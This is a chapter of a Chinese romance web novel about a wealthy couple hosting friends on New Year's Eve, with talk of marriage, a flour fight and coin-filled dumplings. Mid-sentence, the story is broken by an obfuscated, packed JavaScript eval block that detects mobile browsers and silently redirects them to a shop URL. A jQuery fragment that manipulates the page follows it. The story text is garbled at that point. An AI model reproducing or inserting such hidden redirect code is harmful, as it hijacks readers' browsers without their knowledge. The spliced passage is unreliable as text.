婚后第五年的除夕夜。
陶梓琪和潘诗源受邀,带了年货上门。
潘诗源因公事被沈竹栩叫去了书房。
陶梓琪一进门先跟丧彪和吐司打招呼互动,之后就是满屋找孩子。
“小甜豆呢?”
夏伶嚼着苹果给她递果盘:“跟她小叔去马场了。”
“她小叔,”陶梓琪惊讶看她,“该不会是……”
“她还能有几个小叔啊?”夏伶被她这表情逗乐,“严逸骁回来了。”
“什么时候的事?”
“就昨天,一回国就去找他小侄女玩儿。和小甜豆在马场一起跑了几圈,还跟他哥发牢骚,说让这么小的孩子学马术容易受伤。”
“其实我也有担心过。不过好在小甜豆很有天赋,没受过伤。”
“他的原话是,让这么小的孩子学马术,成年人的自尊心容易受伤。”
“他还是这么爱开玩笑。”陶梓琪忍俊不禁,转瞬又有些好奇:“听说,严逸骁这么多年还一直单着呢?”
夏伶握杯的指尖轻叩了叩,点头应了声:“嗯。”
“他是不是……”
“你可真八卦。”
手机铃声响。
陶梓琪看了眼来电显示,笑意全消。她皱眉挂断电话,顿了顿,索性关机了。
一看她这表情,夏伶就猜到了:“你妈?”
“嗯。”陶梓琪叹了口气,挺烦躁地抓了抓发:“肯定又是老话题。一到过年总整一哭二闹这一出,我已经受够了。”
“婚姻跟恋爱毕竟是两码事,你慎重选择是对你自己的人生负责。其实只要你跟诗源觉得合适,一直谈恋爱也挺好。”夏伶道。
“诗源也是这么说的,”陶梓琪犹豫了一下,“其实,我是真恐婚。我虽然不是坚定的不婚主义,但一想到结婚这件事,我就很容易退缩。长辈们的婚姻,就我见过的,都是各有各的不幸。我不敢赌。”
“是在赌,”夏伶点头肯定了她的说法,“陷入爱情的人总觉得自己会是那个例外。但夏女士说过,婚姻是目前人类被允许的最大的赌局之一。说实话,我结完婚后,最多的感觉不是幸不幸福,而是累。在外界看来的‘豪门’,不得不出席的社交场合太多,我疲于应付。我的衣服、首饰在聚光灯下必须都是不重样的,有时候为了出席某个重要场合,衣服定制的工期都得一年多。都快赶上我自己比赛时候的设计筹备了。”
“是啊,我也感觉,你自从结婚后,我们之间一年到头能碰面的机会都少了。更多时候是在电视里、杂志上、热搜之类的地方看到你。还是以前好,以前,我们起码能经常见面呢。”
“谁说不是呢。”
“伶伶,其实我觉得有点好奇,你当初怎么会突然想要结婚呢?”陶梓琪问。
“因为,冲动。”夏伶还真有认真琢磨过这个问题,所以回答得很肯定:“人得为冲动买单。”
“懂了,”陶梓琪有了结论,“结婚需要冲动。”
夏伶一耸肩,给她递了个肯定的眼神:“嗯哼。”
“那你现在后悔吗?”陶梓琪又问。
“我不会为自己做的选择后悔。不管是结婚还是不结婚,承担的压力和责任各有不同。我做了选择,就不会后悔,”夏伶由衷道,“希望你也一样。”
“啊。”陶梓琪若有所思地点点头。
“你尝尝这个蛋糕。”夏伶适时转移了话题,给她续上茶水,推荐道:“我们家甜点师研究的新口味,专门为你准备的。”
“专门为我准备的?那我可得好好尝尝了,”陶梓琪舀了勺蛋糕尝了尝,“嗯!好吃。不甜不腻,很好入口。”
“合胃口就好。我让厨房准备了不少菜,都是你爱吃的。”
“还得是我家伶伶疼我。”
两人许久没见,边吃边聊。
不知不觉间吃了不少茶点。陶梓琪喝了口茶顺食,打了个嗝。
潘诗源从书房出来,恰看到这一幕,提醒道:“少吃点,别一会儿吃积食了又吃不下饭。”
“你管得可真宽。”夏伶不满道。
“她可没你那牛胃。”潘诗源说。
“骂谁牛呢?”夏伶一靠枕砸了过去,“找打啊你这臭小子。”
沈竹栩眼疾手快,一把抓住了险些砸到潘诗源脸上的靠枕。转瞬拍了拍潘诗源的肩,缓步走去夏伶身边将靠枕放回沙发上,笑问:“包饺子,一起吗?”
“你竟然觉得我会包饺子?”夏伶惊讶看他。
“要包饺子吗?包饺子我也不会。”陶梓琪道。
“我倒是有学过,就是包的不太好看。”潘诗源说。
“有力出力,不会的话,主打个陪伴也行。就是图个气氛,”沈竹栩说。
“这样啊……”夏伶笑了一下,问一旁的陶梓琪:“你觉得呢?”
“我没意见。”陶梓琪说。
夏伶点了点头:“好吧,反正闲着也是闲着。”
一行四人进了厨房。
虽是之前也有来过,陶梓琪进到这里还是忍不住感慨,他们家的厨房也是大到夸张。
“面差不多这样就发酵好了。”沈竹栩有条不紊地拿起擀面杖,正要扶眼镜,发觉手上沾了面粉。他低下身,笑看着在把玩金币的夏伶:“老婆,帮我扶一下眼镜。”
“好~”夏伶扬着尾音,与他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784347|185815||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相视一笑。把金币暂搁置一边,替他把眼镜扶好。
陶梓琪托腮看他们,忍俊不禁:“啧,都老夫老妻了,还是这么甜。”
“梓琪,”潘诗源把沾了面粉的手伸向她,“帮我挽一下袖子。”
夏伶看了潘诗源一眼,撇了撇嘴:“学人精。”
下一秒,潘诗源把面粉蹭到了她脸上。
一场面粉大战瞬间爆发。
“好啦,别拿面粉玩。”沈竹栩拉住了跟只蚂蚱一样抓着面粉追着潘诗源到处乱蹦的夏伶,劝了劝:“诗源,你让让她。”
陶梓琪哈哈哈笑个不停,不忘拿起手机记录精彩画面。
夏伶的手机在响。她不得不停战,走去外头接了个电话,很快又折返回来。
“小甜豆被夏女士接走了,晚上就不回来吃饭了。”
沈竹栩漫不经心的“嗯”了一声:“那逸骁呢?”
“他有约。”
“他给你打的电话?”
“……”
室内诡异得静了下来。
陶梓琪和潘诗源默契对视了一眼。
“你头上好多面粉,我给你弄干净。”陶梓琪说。
“好。”潘诗源配合应话。
两人在一旁开始装忙。
夏伶清了清嗓子,缓着气氛寻话道:“这么多金币一会儿都要包进饺子里吗?”
“诗源,跟你说句话。”沈竹栩无视了她的问题,朝潘诗源略一点头,示意他过来说话。
待潘诗源走到了他身边,他才偏过头低着声与他耳语了几句。
“你俩说什么悄悄话呢?”夏伶问。
“秘密,”潘诗源说,“就不告诉你。”
“那能告诉我吗?”陶梓琪问。
潘诗源摇了摇头:“不行。”
“切,小气吧啦的。”夏伶翻转着欣赏新做的指甲,无所谓道:“就算不说我也知道是什么事。”
“伶伶,到底是什么事啊?”陶梓琪好奇道。
夏伶看了眼在擀面皮的沈竹栩,嘴角不自觉勾起笑意:“一会儿吃水饺的时候你就知道了。”
每年除夕夜沈竹栩都会亲自下厨给她包水饺。他的那点小秘密,其实她早就窥破了。
他会在有金币的水饺上做标记,然后把有金币的水饺全都放到她的碗里。
他不说破,她也乐意配合装不知道。
席间,陶梓琪又吐出一颗金币,惊讶捂嘴。
“哇塞!伶伶,我们俩运气也太好了吧,有金币的水饺都被我们俩吃到了耶。”
“是啊。”夏伶了然一笑,撩发转头,看向身侧在给她倒红酒的沈竹栩:“运气真好。”